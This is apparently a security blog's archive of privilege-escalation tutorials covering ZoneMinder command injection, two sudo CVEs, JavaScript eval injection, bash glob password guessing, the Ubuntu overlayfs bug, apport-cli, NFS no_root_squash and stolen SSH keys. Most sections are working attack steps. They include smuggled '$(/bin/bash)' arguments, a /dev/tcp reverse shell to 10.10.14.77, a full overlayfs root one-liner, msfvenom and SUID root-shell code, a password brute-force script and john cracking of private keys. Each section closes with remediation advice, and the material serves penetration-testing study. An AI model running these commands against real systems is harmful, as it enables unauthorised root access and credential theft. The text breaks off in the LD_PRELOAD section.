[Privilege Escalation] ZoneMinder Scripts Command Injection (local)

by Vry4n_ | Mar 31, 2024 | Privilege Escalation

Having the chance to execute ZoneMinder scripts as root we can inject commands. Tested on version 1.36.32+dfsg1-1

Identification

1. Check for privileges or permissions

• sudo -l

2. Use find to locate the scripts

• find / -iname zm*.pl 2> /dev/null

Exploitation (zmupdate.pl)

1. In /usr/bin there are scripts that are part of ZoneMinder

• ls -l /usr/bin/zm*

2. We can try to run zmupdate.pl

• sudo zmupdate.pl –user=’$(touch /tmp/test)’

3. Check the file was created, with root permissions

• ls -l /tmp

4. Now attempt to open a new shell

• sudo /usr/bin/zmupdate.pl –version 1 –user=’$(/bin/bash)’

Extra

1. You may not get a fully functional shell, we know we are root, so we can attempt a reverse shell, start a listener

• nc -lvp 4444

2. Run the reverse shell from the target computer

• bash -i >& /dev/tcp/10.10.14.77/4444 0>&1

3. Check the listener

Recommendations

Have your tools up to date, and, limit the use of these scripts to only the intended users.

(CVE-2019-18634)[Privilege Escalation] Sudo 1.8.25p (pwfeedback) Buffer Overflow

by Vry4n_ | Mar 31, 2024 | Privilege Escalation

In Sudo before 1.8.26, if pwfeedback is enabled in /etc/sudoers, users can trigger a stack-based buffer overflow in the privileged sudo process

Sudo’s pwfeedback option can be used to provide visual feedback when the user is inputting their password. For each key press, an asterisk is printed. This option was added in response to user confusion over how the standard Password: prompt disables the echoing of key presses.

While pwfeedback is not enabled by default in the upstream version of sudo, some systems, such as Linux Mint and Elementary OS, do enable it in their default sudoers files.

Due to a bug, when the pwfeedback option is enabled in the sudoers file, a user may be able to trigger a stack-based buffer overflow. This bug can be triggered even by users not listed in the sudoers file. There is no impact unless pwfeedback has been enabled.

Inside the /etc/sudoers file ipwfeedback is specified like this:

The following sudoers configuration is vulnerable:

Affected Version

Sudo before 1.8.26

Identification

1. Print the version of sudo

• sudo –version

2. Test if the asterisks appear on screen, by using any command with sudo

• sudo whoami

2. Check sudo permissions for the current user

• sudo -l

Exploitation (Script)

1. Knowing the application is vulnerable and has pwfeedback enabled in /etc/sudoers configuration. We can execute the following script written in C (https://github.com/saleemrashid/sudo-cve-2019-18634)

• git clone https://github.com/saleemrashid/sudo-cve-2019-18634.git

2. Now proceed to compile the source code

• cd sudo-cve-2019-18634
• gcc exploit.c -o exploit
• ls -l exploit

3. Transfer the file into the target machine

4. Execute the exploit

• ./exploit
• Whoami

Remedy

Upgrade SUDO software to 1.8.27 or later

Reference

https://github.com/saleemrashid/sudo-cve-2019-18634

https://nvd.nist.gov/vuln/detail/CVE-2019-18634

https://github.com/Plazmaz/CVE-2019-18634

https://www.exploit-db.com/exploits/47995

https://www.exploit-db.com/exploits/48052

(CVE-2019-14287)[Privilege Escalation] sudo 1.8.27 – Security Bypass

by Vry4n_ | Mar 31, 2024 | Privilege Escalation

Sudo could allow a local authenticated attacker to bypass security restrictions, caused by an issue with running commands with arbitrary user ID. By using the ALL keyword in a Runas specification, an attacker could exploit this vulnerability to bypass security restrictions and execute arbitrary command on the system with root privileges.

When sudo is configured to allow a user to run commands as an arbitrary user via the ALL keyword in a Runas specification, it is possible to run commands as root by specifying the user ID -1 or 4294967295.

This can be used by a user with sufficient sudo privileges to run commands as root even if the Runas specification explicitly disallows root access as long as the ALL keyword is listed first in the Runas specification.

Log entries for commands run this way will list the target user as 4294967295 instead of root. In addition, PAM session modules will not be run for the command.

How this works

For example, sudo would usually be used like so: sudo <command>, but you could manually choose to execute it as another user like this: sudo -u#<id> <command>. This means that you would be pretending to be another user when you executed the chosen command, which can give you higher permissions than you might otherwise have had.

Say you have a user who you want to grant extra permissions to. You want to let this user execute a program as if they were any other user, but you don’t want to let them execute it as root. You might add this line to the sudoers file:

• <user> ALL=(ALL:!root) NOPASSWD: ALL

With the above configuration, using sudo -u#0 <command> (the UID of root is always 0) would not work, as we’re not allowed to execute commands as root. If we try to execute commands as user 0 we will be given an error.

if you specify a UID of -1 (or its unsigned equivalent: 4294967295), Sudo would incorrectly read this as being 0 (i.e. root). This means that by specifying a UID of -1 or 4294967295, you can execute a command as root, despite being explicitly prevented from doing so. It is worth noting that this will only work if you’ve been granted non-root sudo permissions for the command, as in the configuration above.

Affected Products

Sudo 1.8.27

Identify

1. Print the version of sudo program running

• sudo –version

2. Query sudo against your user, there should be at least an entry with (ALL, !root), Say you have a user who you want to grant extra permissions to. You want to let this user execute a program as if they were any other user, but you don’t want to let them execute it as root.

• sudo -l

Note:

• (ALL, !root): This part specifies the users and groups to which the rule applies. In this case, it applies to all users except for the user root. The ALL keyword means all users, and !root means “except for root”. So, this rule applies to all users except root.
• NOPASSWD: This keyword indicates that the specified users/groups can execute the command without entering a password. In this case, the command is /bin/bash.
• /bin/bash: This is the command or executable that the specified users/groups are allowed to run with sudo privileges without entering a password. In this case, it allows running the Bash shell (/bin/bash) without requiring a password.

Exploitation

1. With ALL specified, the trychackme user can run the binary /bin/bash as any user, so lets execute sudo command like this

• sudo -u#0 <command>
• sudo -u#-1 /bin/bash
• whoami && hostname && date

2. Now you can see we became root user, Sudo doesn’t check for the existence of the specified user id and executes the with arbitrary user id with the sudo priv

• -u#-1 returns as 0 which is root’s id

Remedy

Upgrade to the latest version of Sudo (1.8.28 or later)

References

https://tryhackme.com/r/room/sudovulnsbypass

https://seclists.org/oss-sec/2019/q4/18

https://www.exploit-db.com/exploits/47502

https://packetstormsecurity.com/files/154857

Exploiting JavaScript EVAL() Code Injection

by Vry4n_ | Jan 20, 2024 | Privilege Escalation

The eval function in JavaScript is a powerful but potentially dangerous feature. Its primary purpose is to execute arbitrary JavaScript code represented as a string.

There are four standard ways to evaluate strings in JavaScript:

• eval(“code”)
• new Function(“code”)
• setTimeout(“code”, timeout)
• setInterval(“code”, interval)

Example

1. This is a calculator application that prints the mathematical results on screen

2. Since, I had access to the source code I found this piece of code that demonstrated how the eval() function is in use

// Exporting an object with a method named 'calculate'
module.exports = {
    calculate(formula) { // Try block to handle potential errors during execution
        try {
// Using eval to execute a dynamically created function
// The function is created using a template literal, incorporating the 'formula' parameter
// The closing parentheses () immediately follows the function body, invoking the function. This pattern is known as an Immediately Invoked Function Expression (IIFE).
            return eval(`(function() { return ${ formula } ;}())`);
        
// Catch block to handle potential errors, specifically SyntaxError
        } catch (e) {
// Checking if the caught error is an instance of SyntaxError
            if (e instanceof SyntaxError) {
// Returning an error message if a SyntaxError occurs
                return 'Something went wrong!';
            }
        }
    }
}

Exploitation

1. First we need to understand how the application works

2. We try to make it crash

3. We can try to use some JavaScript functions and see if they get executed since this script doesn’t have sanitization we don’t need to worry about

• process.platform
• process.cwd()

4. Now we know we can execute commands we can try a more sophisticated command

• require(‘child_process’).execSync(‘ls -l’).toString()

require(‘child_process’):

• This part of the code imports the child_process module in Node.js. The child_process module provides functionality to spawn child processes, allowing you to execute external commands.

.execSync(‘ls -l’):

• The execSync function is a synchronous method in the child_process module. It is used to execute shell commands synchronously, meaning the code will block until the command completes. In this case, it runs the ls -l command, which lists the contents of the current directory in long format.

.toString():

• The result of execSync is a Buffer object containing the output of the command. The .toString() method is then used to convert the Buffer object into a string. This is necessary if you want to work with the command output as a string in your Node.js code.

Recommendations

Avoid eval Completely:

• The safest approach is to avoid using eval altogether unless absolutely necessary. Most use cases for eval can be replaced with safer alternatives.

Use JSON.parse or Other Specific Functions:

• If you need to parse JSON data, use JSON.parse instead of eval. JSON.parse is safer and only evaluates valid JSON data, reducing the risk of code injection.

Function Constructors:

• If dynamic code execution is required, consider using the Function constructor. This is generally safer than eval because it creates a new function scope.

Validate and Sanitize User Inputs:

• If you must use dynamically generated code, thoroughly validate and sanitize user inputs before incorporating them into the code. Ensure that the input adheres to expected patterns and does not contain malicious content.

Code Review and Static Analysis:

• Regularly review code for potential security vulnerabilities, including the use of eval. Utilize static analysis tools to identify insecure patterns in your codebase.

[Privilege Escalation] Unquoted Expression Injection Bash

by Vry4n_ | Jan 20, 2024 | Privilege Escalation

In Bash scripting, when you are working with variables, it’s important to understand how the shell treats quoted and unquoted variables, especially when it comes to comparisons.

Word splitting is a process where the shell breaks up a string into separate words based on specific delimiters. The default word delimiters are whitespace characters (spaces and tabs), but you can customize them using the IFS (Internal Field Separator) variable.

Word splitting is a feature designed to tokenize input into separate entities, and it is generally useful for normal shell operations. However, when it comes to unquoted variables, word splitting can introduce vulnerabilities, especially when dealing with spaces or other special characters in the variable’s value.

An unquoted variable is to be treated as an armed bomb: It explodes upon contact with whitespace and wildcards. Yes, “explode” as in splitting a string into an array. Specifically, variable expansions, like $var, and also command substitutions, like $(cmd), undergo word splitting, whereby the string is split on any of the characters in the special $IFS variable, which is whitespace by default. Furthermore, any wildcard characters (*?) in the resulting words are used to expand those words to match files on your filesystem (indirect pathname expansion). This is mostly invisible, because most of the time, the result is a 1-element array, which is indistinguishable from the original string value.

Security Vulnerability:

• When dealing with untrusted input or variables that may contain arbitrary data, relying on unquoted variables and word splitting can introduce security vulnerabilities.
• An attacker might manipulate input to inject unexpected values, potentially leading to unintended consequences or security breaches

Variable expansion:

• Good: “$my_var”
• Bad: $my_var

Command substitution:

• Good: “$(cmd)”
• Bad: $(cmd)

Should I use backticks?

Command substitutions also come in this form:

• Correct: “`cmd`”
• Bad: `cmd`

Quoted Variables:

When you enclose a variable in double quotes (” “), it preserves the entire value of the variable, including spaces and special characters.

var="hello world"
echo "$var"

Unquoted Variables:

When you don’t quote a variable, the shell performs word splitting and filename expansion (globbing) on its value.

Word splitting breaks the variable’s value into words (typically separated by spaces).

var="hello world"

echo $var

Output:

Token: hello
Token: world

Example

1. In this example I will demonstrate how bash considers “$str1” & $str different

str1="hello world"
str2="hello world"

if [ "$str1" == $str2 ]; then
    echo "Strings are equal."
else
    echo "Strings are not equal."
fi

2. In this script we compare 2 strings that are identical but within the if conditional statement we compare “$str1” and str2

3. On the other if I use quotes in the 2 variables “$str1” and “$str2”

Exceptions

There are exceptions where quoting is not necessary, but because it never hurts to quote, and the general rule is to be scared when you see an unquoted variable, pursuing the non-obvious exceptions is, for the sake of your readers, questionable. It looks wrong, and the wrong practice is common enough to raise suspicion: Enough scripts are being written with broken handling of filenames that whitespace in filenames is often avoided…

The exceptions only matter in discussions of style – feel welcome to ignore them. For the sake of style neutrality, Shellharden does honor a few exceptions:

• variables of invariably numeric content: $?, $$, $!, $# and array length ${#array[@]}
• assignments: a=$b
• the magical case command: case $var in … esac
• the magical context between double-brackets ([[ and ]]) – this is a language of its own.

Scenario

1, In this scenario we have a bash script named (script.sh) that reads a text file that includes a password, and asks user for input, if the word matches the one in the file it will print confirmed!, otherwise it will print incorrect.

#!/bin/bash
# Read the content of the file "secret.txt" and store it in the variable "value1" 
value1=$(/usr/bin/cat secret.txt)

# Print a prompt for the user to enter a word 
echo "Enter a word!"
read input1

# Compare the content of "secret.txt" with the user input 
if [[ $value1 == $input1 ]]; then
    echo "Confirmed!"
else
    echo "Incorrect"
fi

2. I built a python script (attack.py) to guess the password in the file. This script runs the bash script, tests characters follow by a wildcard (*), If it matches it prints the letter, then continues with the next letter until we receive Confirmed

#!/usr/share/python

import string
import subprocess
# Generate a list of all ASCII letters and digits
all1 = list(string.ascii_letters + string.digits)
# Initialize variables
password = ""
found = False

# Print the list of characters being tested
print(all1)

# Continue the loop until the password is found
while not found:
# Iterate through each character in the list
    for char in all1:
# Construct a command to execute a script with a guessed password
        command = f"echo '{password}{char}*' | bash script.sh"
# Run the command and capture the output
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
# Check if the output contains the word "Confirmed"
        if "Confirmed" in output:
# If confirmed, update the password and print it
            password += char
            print(password)
            break
    else:
# If the loop completes without finding the correct password, set found to True
        found = True

3. Run the script and see the output how and the password deciphered

• python attack.py

Note: The password is P4ssWorDVry4n

Recommendations

• Ensure that the file containing sensitive information, like passwords, has restrictive permissions.
• Whenever possible, avoid storing passwords in plaintext. Consider using secure methods like password hashing.
• Instead of reading from a file, you might consider storing sensitive information in environment variables, which can be set at runtime and are less prone to being accidentally logged.
• If you need to store sensitive information in a file, consider encrypting the file.

Sources

https://github.com/anordal/shellharden/blob/master/how_to_do_things_safely_in_bash.md?source=post_page—–933488bfbfff——————————–

https://unix.stackexchange.com/questions/171346/security-implications-of-forgetting-to-quote-a-variable-in-bash-posix-shells

https://www.appsloveworld.com/bash/100/28/unquoted-expression-injection-bash

https://copyprogramming.com/howto/why-do-options-in-a-quoted-variable-fail-but-work-when-unquoted#google_vignette

(CVE-2023-32629 & CVE-2023-2640)[Privilege Escalation] GameOver(lay) Ubuntu Privilege Escalation

by Vry4n_ | Jan 16, 2024 | Privilege Escalation

Ubuntu could allow a local authenticated attacker to gain elevated privileges on the system, caused by skipping permission checking for trusted.overlayfs.* xattrs”. By sending a specially crafted request, an attacker could exploit this vulnerability to escalate privileges.

CVE-2023-2640

https://www.cvedetails.com/cve/CVE-2023-2640/

• On Ubuntu kernels carrying both c914c0e27eb0 and “UBUNTU: SAUCE: overlayfs: Skip permission checking for trusted.overlayfs.* xattrs”, an unprivileged user may set privileged extended attributes on the mounted files, leading them to be set on the upper files without the appropriate security checks.

CVE-2023-32629

https://www.cvedetails.com/cve/CVE-2023-32629/

• Local privilege escalation vulnerability in Ubuntu Kernels overlayfs ovl_copy_up_meta_inode_data skip permission checks when calling ovl_do_setxattr on Ubuntu kernels.

Vulnerable kernels

6.2.0 Ubuntu 23.04 (Lunar Lobster) / Ubuntu 22.04 LTS (Jammy Jellyfish)

5.19.0 Ubuntu 22.10 (Kinetic Kudu) / Ubuntu 22.04 LTS (Jammy Jellyfish)

5.4.0 Ubuntu 22.04 LTS (Local Fossa) / Ubuntu 18.04 LTS (Bionic Beaver)

Identification

1. Verify the OS version

• lsb_release -a

2. Verify the kernel version

• uname -r
• uname -a
• cat /proc/version

Exploitation

1. Knowing this is a vulnerable version of Ubuntu (6.2.0), we can proceed to run the following command to become root

• unshare -rm sh -c “mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;” && u/python3 -c ‘import os;import pty;os.setuid(0);pty.spawn(“/bin/bash”)’

2. After running this command you should become root

Breakdown

• unshare -rm sh -c: This command creates a new namespace (-m), and then runs a shell (sh) in this new namespace. The -r option makes the process run in a separate user namespace.
• “mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3; mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;”: This is the command that is executed in the new namespace. It does the following:
  • mkdir l u w m: Creates four directories – l, u, w, and m.
  • cp /u*/b*/p*3 l/: Copies files matching the pattern /u*/b*/p*3 to the directory l/.
  • setcap cap_setuid+eip l/python3: Sets the cap_setuid capability and eip flag on the python3 binary in the l/ directory.
  • mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m: Mounts an overlay filesystem using the directories l, u, and w. The overlay filesystem allows combining multiple directories into one.
  • touch m/*: Creates empty files in the m/ directory.
  • &&: This is a logical AND operator, which means the next command will be executed only if the previous one succeeds.
  • u/python3 -c ‘import os; import pty; os.setuid(0); pty.spawn(“/bin/bash”)’: This command is executed if the previous part is successful. It uses the python3 interpreter located in the directory u/ to execute a Python script. The Python script imports the os and pty modules, sets the user ID to 0 (root), and spawns a new interactive bash shell using pty.spawn(“/bin/bash”).

Remedy

The problem can be corrected by updating your system to the following package versions:

• linux-image-6.2.0-1010-gcp – 6.2.0-1010.10
• linux-image-aws – 6.2.0.1008.9
• linux-image-6.2.0-26-generic-64k – 6.2.0-26.26
• linux-image-virtual – 6.2.0.26.26
• linux-image-6.2.0-1008-azure – 6.2.0-1008.8
• linux-image-generic-64k – 6.2.0.26.26
• linux-image-generic – 6.2.0.26.26
• linux-image-6.2.0-1008-oracle – 6.2.0-1008.8
• linux-image-raspi – 6.2.0.1009.12
• linux-image-6.2.0-1009-lowlatency – 6.2.0-1009.9
• linux-image-ibm – 6.2.0.1006.6
• linux-image-6.2.0-26-generic – 6.2.0-26.26
• linux-image-azure – 6.2.0.1008.8
• linux-image-raspi-nolpae – 6.2.0.1009.12
• linux-image-6.2.0-26-generic-lpae – 6.2.0-26.26
• linux-image-kvm – 6.2.0.1009.9
• linux-image-6.2.0-1009-lowlatency-64k – 6.2.0-1009.9
• linux-image-gcp – 6.2.0.1010.10
• linux-image-lowlatency-64k – 6.2.0.1009.9
• linux-image-oracle – 6.2.0.1008.8
• linux-image-6.2.0-1009-kvm – 6.2.0-1009.9
• linux-image-6.2.0-1009-raspi – 6.2.0-1009.11
• linux-image-6.2.0-1006-ibm – 6.2.0-1006.6
• linux-image-generic-lpae – 6.2.0.26.26
• linux-image-6.2.0-1008-aws – 6.2.0-1008.8
• linux-image-lowlatency – 6.2.0.1009.9

Sources

https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629

https://www.cvedetails.com/cve/CVE-2023-2640/

https://www.cvedetails.com/cve/CVE-2023-32629/

https://github.com/ThrynSec/CVE-2023-32629-CVE-2023-2640—POC-Escalation

https://exchange.xforce.ibmcloud.com/vulnerabilities/261608

https://exchange.xforce.ibmcloud.com/vulnerabilities/261608

(CVE-2023–1326)[Privilege Escalation] apport-cli 2.26.0

by Vry4n_ | Jan 14, 2024 | Privilege Escalation

A privilege escalation attack was found in apport-cli 2.26.0 and earlier which is similar to CVE-2023-26604. If a system is specially configured to allow unprivileged users to run sudo apport-cli, less is configured as the pager, and the terminal size can be set: a local attacker can escalate privilege. It is extremely unlikely that a system administrator would configure sudo to allow unprivileged users to perform this class of exploit.

This vulnerability only works if assign in sudoers

Identification

1. Verify that apport-cli is allowed to run with sudo privileges

• sudo -l

2. Verify that the version is lower than 2.26.0

• sudo /usr/bin/apport-cli -v

Exploitation

1. Execute apport-cli with parameter file bug (Select any option)

• sudo /usr/bin/apport-cli –file-bug

2. Select any option

3. Press any key

4. Press V (View Report), this will open a less page as root

5. Now execute a shell, click enter

• !/bin/bash

6. You’ll get a shell as root

Remedy

Upgrade the apport-cli version

Restrict the assignment to users

Sources

https://security.snyk.io/vuln/SNYK-UBUNTU2210-APPORT-5422155

https://nvd.nist.gov/vuln/detail/CVE-2023-1326

https://github.com/diego-tella/CVE-2023-1326-PoC

[Privilege Escalation] NFS Squashing (no_root_squash/no_all_squash)

by Vry4n_ | Nov 18, 2023 | Privilege Escalation

NFS or “Network File Sharing” is a protocol that runs on port 2049 and consists of two components, the server and the client(s). Shared directories are created on the NFS server component so that they can be shared with other Linux clients over a network. Permitted users can add files to the share, which are then shared with other users who have access to the directory.

What is NFS Squash?

Network File System (NFS) Squashing, also known as Root Squashing, is a security feature implemented in NFS servers to restrict the privileges of remote users, especially the root user (uid 0), when accessing NFS-exported directories. When root squashing is enabled, the root user on the client system is mapped to an unprivileged user on the NFS server, typically ‘nobody’ or ‘nfsnobody.’

The primary goal of NFS Squashing is to enhance security by preventing remote root users from having unrestricted access to NFS-exported file systems. Without squashing, a compromised or malicious remote root user could potentially modify or delete any file on the NFS server, posing significant security risks.

• no_root_squash: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications.
• no_all_squash: This is similar to no_root_squash option but applies to non-root users. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user.

Vulnerabilities and Misconfigurations:

1. Misconfiguration of NFS Export Options:

• A common misconfiguration involves not enabling root squashing explicitly. If the NFS export options do not include ‘root_squash,’ the NFS server may allow remote root users to access and modify files with full root privileges.

2. Insecure Network Configurations:

• If NFS traffic is transmitted over an insecure network without proper encryption or authentication mechanisms, attackers could potentially intercept and manipulate NFS requests to exploit root squashing vulnerabilities.

Identification

1. Identify the NFS port

• nmap 10.10.46.249

2. Enumerate further

• nmap -A -sV -sC -T4 10.10.46.249

Note: So the port for NFS shares is 2049, but we are also very interested in port 111 because that is the rpc port that the NFS share will bind to. This output reveals the version of NSF also.

3. Enumerate using Nmap scripts

• nmap -p 111,2049 –script=nfs-* 10.10.46.249

Note: the permissions on (., ..) RWX show we have full access. The NoExecute flag is also set, so we won’t be able to execute any binaries or scripts in the share.

4. Identify the mount folders available

• showmount -e 10.10.46.249
• showmount –all 10.10.46.249

Note: The * means all networks allowed

Local enumeration

1. Read the /etc/exports file, if you find some directory that is configured as no_root_squash, then you can access it from as a client and write inside that directory as if you were the local root of the machine.

• cat /etc/exports

• rw: This option gives the client computer both read and write access to the volume.
• sync: This option forces NFS to write changes to disk before replying. This results in a more stable and consistent environment but reduces the speed of file operations.
• inescure: This option allows clients to use any port to access NFS shares.
• no_subtree_check: This option prevents subtree checking, which is a process where the host must check whether the file is actually still available in the exported tree for every request.
• no_root_squash: This option allows privileged file writes inside the share. By default, NFS translates requests from a root user remotely into a non-privileged user on the server.

LinPEAS

1. LinPEAS can also alert us about NFS Squash

• ./LinPEAS.sh

Exploitation

1.  create a mount point on your local machine and mount the share

• mkdir /tmp/nfs
• mount -o rw,vers=3 10.10.130.171:/tmp /tmp/nfs

2. Verify the NFS partition was mounted

• mount -t nfs
• cd /tmp/nfs
• ls -la

3. Generate a payload, this time I’ll be using msfvenom, and save it to the mounted share (this payload simply calls /bin/bash), this file MUST have the owner as root

• msfvenom -p linux/x86/exec CMD=”/bin/bash -p” -f elf -o /tmp/nfs/shell.elf

4. make the file executable and set the SUID permission:

• chmod +xs /tmp/nfs/shell.elf

5. From the local session in the target machine run this file from the NFS shared folder, which inherited the permissions our local mahine’s root permissions, it will run it as the remote machine local root

• cd /tmp
• ls -l
• ./shell.elf

6. Verify which user ran this new shell

• whoami && id

Extra 1: Copying /bin/bash for a Root Shell

1. Alternatively you could have copied /bin/bash from you local machine to NFS shared folder, and assign the sticky bit

• cp /bin/bash /tmp/nfs
• chmod +xs bash
• ls -l

2. Again, in the target machine, run the executable

• ./bash -p
• whoami && id

Extra 2: Crafting an Exploit for a Root Shell

1. To craft our custom exploit that will drop us into a root shell, we can use the following commands, to create a c file, compile it

• echo ‘int main() { setgid(0); setuid(0); system(“/bin/bash -p”); return 0; }’ > /mnt/share/root_shell.c
• gcc ./root_shell.c -o ./root_shell
• ls -l

2. Assign proper permissions

• chmod +s root_shell
• ls -l

3. Now run it from the remote machine session

• whoami && id

Port Forwarding the NFS Share

1. When accessing the NFS share externally root_squash enabled and we cannot perform privileged file writes. However, we can access the file share from localhost 127.0.0.1/32, we can perform privileged file writes on the NFS server.

Since we know the NFS share runs on port 2049, and we also know that the user has access to the system through SSH, then the easiest way to forward this port out to our attacker machine is by performing local port forwarding.

• ssh -N -L 127.0.0.1:2049:127.0.0.1:2049 user@10.9.139.128
• ssh -N -L 127.0.0.1:2049:127.0.0.1:2049 user@10.10.130.171 -oHostKeyAlgorithms=+ssh-rsa

Note: This says… Do not execute any commands on the remote host (-N) and perform local port forwarding (-L). Bind port 2049 to 127.0.0.1 on our attacker machine from port 2049 running on 127.0.0.1 on the target machine. Lastly, we are logging in using juggernaut to perform this action for us.

2. Seeing the prompt hang indicates that the port forwarding was successful; and when we open a new tab on our attacker machine and run the netstat -tulpn command, we should see port 2049 open locally.

• netstat -tulpn

3. With the NFS server open to us locally, we can mount it just like we did earlier except we just need to adjust the command to mount the share locally instead of externally, this will look something like this:

• mount -t nfs -o port=2049 127.0.0.1:/tmp /tmp/nfs

4. To confirm that we can perform privileged writes in the share, we can navigate to the mounting point on our attacker machine and create a test file, just the same as we did when we mounted the share the first time.

• touch file.txt
• ls -l

Note: The permissions should be the ones from the attacker machine. This means we can either create a malicious binary or do something a bit more simple like… copy /bin/bash into the share, set root:root ownership and SUID permissions on it, and then SSH back into the victim and execute it with user to elevate our privileges to root!

Remediation Steps:

1. Enable Root Squashing:

• Always enable root squashing on NFS servers to ensure that remote root users are mapped to unprivileged users.

2. Secure Network Configurations:

• Use secure network configurations, such as encrypting NFS traffic with technologies like IPsec or configuring NFS over a Virtual Private Network (VPN).

3. Regular Auditing and Monitoring:

• Implement regular audits and monitoring of NFS server logs to detect any unauthorized access or suspicious activities.

4. Limit Access:

• Restrict access to NFS exports by specifying specific IP addresses or networks that are allowed to mount the file systems.

5. Keep Software Updated:

• Ensure that both the NFS server and client software are kept up to date with the latest security patches to mitigate known vulnerabilities.

6. Use NFSv4:

• Consider using NFS version 4, which includes improved security features compared to older versions.

Sources

https://juggernaut-sec.com/nfs-no_root_squash/

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe

https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md

[Privilege Escalation] SSH Keys

by Vry4n_ | Nov 18, 2023 | Privilege Escalation

SSH keys, or Secure Shell keys, are cryptographic keys used for secure communication over an unsecured network. They provide a secure method for authentication between a client and a server, allowing users to access and manage remote systems securely.

Security Risks:

Key Theft:

• If an unauthorized person gains access to your private SSH key, they can impersonate you and gain unauthorized access to systems you have access to.

Weak Key Generation:

• Poorly generated keys may be susceptible to brute-force attacks. It’s crucial to use a strong, random key generation process.

Key Spoofing:

• Attackers might attempt to intercept or manipulate the communication to present a false public key, leading to potential security breaches.

Unauthorized Key Access:

• If an attacker gains access to an authorized user’s public key, they can add it to their own authorized_keys file and gain access to systems.

Key Exposure:

• Storing private keys on insecure devices or sharing them improperly increases the risk of exposure.

Example of User & key creation

User Creation

1. Use the following command to add a new user (replace username with the desired username):

• sudo useradd -m user1

The -m option ensures that a home directory is created for the user.

2. Set a password for the new user:

• sudo passwd user1

Follow the prompts to enter and confirm the password.

RSA SSH keys creation

1. Now, you can add an RSA SSH certificate for the user. You can do this by creating a .ssh directory in the user’s home directory and adding an authorized_keys file to it.

• mkdir -p /home/user1/.ssh
• touch /home/user1/.ssh/authorized_keys

2. Set the appropriate permissions for the .ssh directory and the authorized_keys file:

• chmod 700 /home/user1/.ssh
• chmod 600 /home/user1/.ssh/authorized_keys
• (OPTIONAL) chown -R username:username /home/username/.ssh

3. Generate the key pair. This command will create a new RSA key pair (private and public keys) in the default location (~/.ssh/id_rsa for the private key and ~/.ssh/id_rsa.pub for the public key).

• ssh-keygen -t rsa -b 2048

4. Add this keys, to the authorized_keys file

• ssh-copy-id username@hostname
• ssh-copy-id user1@Vk9-Security

Identifying keys

1. You can search for files that are readable, and contain the word “PRIVATE KEY”, then list the file. You can set up the starting point where you want

• find / -type f -readable -exec grep -q “PRIVATE KEY” {} \; -exec sh -c ‘ls -l “$1″‘ sh {} \; 2> /dev/null
• find /home -type f -readable -exec grep -q “PRIVATE KEY” {} \; -exec sh -c ‘ls -l “$1″‘ sh {} \; 2> /dev/null

LinPEAS

1. You can also, find some keys that can be read in .ssh files

• ./LinPEAS.sh

Exploiting READ permission (Without password)

1. Sometimes users make backups of important files but fail to secure them with the correct permissions, or even, the original files were not secured properly, allowing other users to read the contents of SSH keys.

• cat root_key

2. You can copy the contents of this file into your computer, and assign the permissions 600 using chmod command

• vi id_rsa
• chmod 600 id_rsa
• ls -l
• cat id_rsa

3. Using file we can make sure if this a private key, also the line “BEGIN RSA PRIVATE KEY” says it all

• file id_rsa

4. (OPTIONAL) This key seems to be encoded in base64 format, so we try to decoded, sometimes we can find the user this key belongs to

• echo “””<key>””” | base64 -d

Note: This screenshot is from another example

5. Now, Knowing the user this belongs to, we can try to use this key to authenticate

• ssh -i id_rsa root@10.10.130.8
• ssh -i id_rsa -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa root@10.10.130.8

Note: I had to use (-oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa) because this server was not accepting the authentication offer

Exploiting READ permission (password protected)

1. Same steps a before, just when you try to use the certificate, SSH will ask for the private key password, which we don’t know

• ssh user1@127.0.0.1 -i id_rsa

2. We need to crack the private key password, for this we can use ssh2john, to prepare the file to be cracked by john

• ssh2john id_rsa > new_id_rsa
• cat new_id_rsa

3. Now using john, we can crack the password

• john –wordlist=/usr/share/wordlists/rockyou.txt new_id_rsa

Note: So here we have our password

4. Now we can try this password when SSH asks for the key pass phrase

• ssh user1@127.0.0.1 -i id_rsa

5. (OPTIONAL) Doing again the decode with base64 string we can have an idea of what type of encryption is used

• echo “””<key>””” | base64 -d

Recommendations

Key Management:

• Regularly audit and manage SSH keys. Remove unused or unnecessary keys from authorized_keys files.

Strong Key Generation:

• Use robust, industry-standard algorithms like RSA or ECDSA and ensure sufficiently long key lengths.

Passphrase Protection:

• Assign passphrases to private keys to add an extra layer of security. This passphrase encrypts the private key and must be entered before the key can be used.

Key Rotation:

• Periodically rotate SSH keys, especially if someone with access leaves the team or if there’s a suspicion of compromise.

Limiting Key Access:

• Restrict the use of keys to specific IP addresses, commands, or users through the SSH configuration.

Multi-Factor Authentication (MFA):

• Combine SSH key authentication with MFA to add an extra layer of security.

Secure Storage:

• Store private keys securely, using hardware tokens or encrypted containers.

Regular Audits:

• Conduct regular security audits to identify and rectify any vulnerabilities.

Monitoring:

• Implement logging and monitoring to detect and respond to suspicious activities.

[Privilege Escalation] Sudo – Environment Variables

by Vry4n_ | Nov 14, 2023 | Privilege Escalation

The sudo command in Unix-based systems allows specified users to execute commands as another user, typically the superuser (root). When used incorrectly or in conjunction with environment variables like LD_PRELOAD and LD_LIBRARY_PATH, it can introduce security vulnerabilities.

Environment Variables and sudo Vulnerabilities:

LD_PRELOAD: This variable specifies a list of additional dynamic libraries to be loaded before all others. It can be exploited to load a shared library into the memory space of the running process, potentially altering its behavior.

• Manipulating LD_PRELOAD to load a malicious library before the standard libraries, allowing for code injection or alteration of program behavior.

